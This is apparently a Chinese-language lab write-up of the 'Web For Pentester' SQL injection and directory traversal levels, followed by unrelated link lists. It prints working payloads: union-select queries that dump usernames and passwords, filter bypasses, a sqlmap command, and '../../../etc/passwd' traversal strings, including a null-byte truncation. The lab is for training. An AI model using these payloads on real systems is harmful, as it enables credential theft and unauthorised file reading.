SQL injections

Example 1 典型的SQL注入

name=root' or 1=1 %23

直接执行就可以导出所有用户



查看后端的源码



观察到,我们传入入的name中,传入就成为了'root',所以我们root' %23就是root' #可以闭合成功

这里由于后面也有一个',所以可以执行

name=root' or '1'='1

传入就成为了root' or '1'='1',判断是正常的sql语句,直接导出所有用户名



可以使用常规的思路union select联合查询直接注入

1. order by 查询字段数
2. union selesct 查询可以显示的字段
3. select table_name from information_schema.tables where table_schema=database()查询当前数据库表名
4. select column_name from information_schema.columns where table_schema=database() and table_name=获取的表名 查询数据表中的列明
5. select 列名 from 表名 查询数据
name=root' order by 5%23
判断我5个列
name=root' union select 1,2,3,4,5 %23
获取到只有 1,2,3列可以显示数据
name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() %23
获取到数据库下的表名为 users
name=root' union select column_name,2,3,4,5 from information_schema.columns where table_schema=database() and table_name=0x7573657273 %23 \
得到重要列名为name,passwd
name=root' union select name,passwd,3,4,5 from users%23
获取用户名密码,如下图

Example 2 过滤空格

像上一关测试or 1=1



提示ERROR NO SPACE,错误空格,就是不能输入空格

审计后端源码



通过preg_match函数检测name中是否有空格,如果有die终止并打印ERROR NO SPACE

不可以使用空格,但是有很多类似空格的空字符,这里我们使用/**/绕过

root'/**/or/**/1=1%23



绕过成功

这里绕过空格的方法很多

· %09 水平TAB键
· %0b 垂直TAB键
· %0a 新的一行
· %0c 行的一页
· %0d return功能
· %a0 空格
· /**/ 注释

Example 3 过滤多个空格

审计源码



使用了正则表达式的\s+,表示的意思是匹配任意前面的字符,这里就是匹配任意空格

所以我们还是可以使用上一关的方法

name=root'%a0or%a01=1%23



过关

Example 4 没用的过滤

审计源码



这里通过mysql_real_escape_string() 在特殊字符\ ' "前面加入\进行了转义

但是这里传参的是数字类型,并不用使用' "等特殊字符进行闭合,所以这个函数并没什么用

直接进行测试

id=2 or 1=1

导出所有用户



过关

Example 5 没用的正则匹配

通过观察后端源码,使用preg_match正则匹配传入id的开头是否为1-9之间的数字,否者返回ERROR INTEGER REQUIRED



但是上述方法对我们的语句没有什么作用

id=2 or 1=1

过关

Example 6 没用的正则匹配2

这次是匹配传参结束是否为数字



还是对注入语句没有什么影响

id=2 or 1=1

依然可以通过



过关

Example 7 /m匹配换行

审计源码,匹配了是否以数字开头和数字结束,使用正则写修饰符/m



由于/m是换行匹配,上面我们讲过%0a代表换行,这里使用%0a新的一行,就可以绕过

id=2%0A or 1=1

Example 8 order by 盲注

审计源码



通过观察使用的是的闭合方式,但是如何SQL注入呢,这里由于是闭合,所以无法执行andunion,我就没了办法

使用sqlmap跑一下

sqlmap -u "http://172.16.1.103/sqli/example8.php?order=name" --prifix='`' --batch

--prifix执行闭合方式,--batch自动化注入



爆破成功,由于不太懂原理,这里可以国光的Web For Pentester

过关

Example 9 order by 盲注

审计源码



这关比上一关要更简单一点,没有采用任何闭合方式,直接使用sqlmap





过关

Directory traversal 目录穿越

Example 1 没有顾虑

审计源码



可以看到文件默认目录为/var/www/files,将file传入没有进行任何过滤,使用fopen函数读取文件的内容

所以这里我们直接传入../../../etc/passwd,就可以读取passwd文件



过关

Example 2 检测/var/www/files/

审计源码



观察通过strstr判断传入的路径中是否有/var/www/files/

虽然检查了/var/www/files,并不影响我们继续使用../../../

file=/var/www/files/../../../etc/passwd

Example 3 00截断

审计源码



让传入的file后面加入了.png的后缀名,让我们无法自由的输入,很难受

观察PHP 5.3.3,在PHP低于5.3.4中存在00截断漏洞



而且这里做了一个很奇怪的操作,把传入00后面的内容转换为了空

直接传入payload../../../etc/passwd%00



过关

Web For Pentester - SQL injections/Directory traversal的更多相关文章

  1. 【常见Web应用安全问题】---4、Directory traversal

    Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些.  常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...

  2. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  3. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  4. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  5. Web For Pentester靶场(xss部分)

    配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...

  6. web安全之sql注入实例(5.0之前的)

    web安全之sql(5.0之前)注入实例 5.0之前的数据库没有information库. 所以这里需要运用的是load_file()函数来获取信息. 1.判断是否有sql注入,用and 1=1 和 ...

  7. WEB 安全之 SQL注入 < 三 > 提权

    SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...

  8. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  9. WEB 安全之 SQL注入 < 二 > 暴库

    SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...

  10. web安全学习(sql注入1)

    web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...

随机推荐

  1. Sql Server 服务无法正常启动,126异常

    SQL Server 一记 异常信息 方法/步骤 打开[开始菜单]找到软件SQL Server下面的[配置管理器] 可以看到数据库主服务是 '停止' 状态: ![数据库主服务 展开[SQL Serve ...

  2. linux相关命令-linux查看头两行、查看最后两行-查找一个文件里包含的error信息并且把它输出到另一个文件里-查看滚动日志-在一个目录下查找大于50M的文件-根据端口号去杀死某一个进程

    1.linux查看头两行.查看最后两行 使用head(查看前几行).tail(查看末尾几行).eg:查看/home/wenjian1的前10行内容,应该是:# head -n 10 /home/wen ...

  3. python机器学习——决策树算法

    背景与原理: 决策树算法是在各种已知情况发生概率的基础上通过构成决策树来求某一事件发生概率的算法,由于这个过程画成图解之后很像一棵树形结构,因此我们把这个算法称为决策树. 而在机器学习中,决策树是一种 ...

  4. IOS弹出系统键盘后,页面不恢复

    <script> var u = navigator.userAgent, app = navigator.appVersion var isIOS = !!u.match(/\(i[^; ...

  5. 一个基于线程池和epoll的IO事件管理器

    前面几篇博客介绍了Epoll, ThreadPool, 其中 Epoll 封装了epoll的各类api, 可在epoll句柄中添加/修改/删除 fd 的 各类事件(EPOLLIN | EPOLLOUT ...

  6. nginx服务器下的TP5框架的虚拟域名配置

    server { listen 80; default_type 'text/html'; charset utf-8; server_name www.xxx.com; root /usr/loca ...

  7. PTA两个有序链表序列的合并

    本题要求实现一个函数,将两个链表表示的递增整数序列合并为一个非递减的整数序列. 函数接口定义:   List Merge( List L1, List L2 );   其中List结构定义如下:   ...

  8. laravel5.5 数据查询记录

    laravel5.5版本数据查询 基于 prettus/l5-repository 插件 首先安装好 prettus/l5-repository插件 配置相关参数 1 根据条件查询数据总数 publi ...

  9. Nexus系列---【使用docker搭建nexus3仓库】

    1.Docker搭建nexus3私服 如果机器配置比较低,建议指定初始内存大小,默认2G docker run -d \ --restart=always \ --name=nexus3 \ -p 6 ...

  10. C语言初级阶段5——函数2

    C语言初级阶段5--函数2 址传递 1.地址:在定义变量,数组,函数等等,系统会自动给分配他们的内存区域(地址),把这个数据放到这个地址上面. 2.&:&a 得到a的地址编号 3.*: ...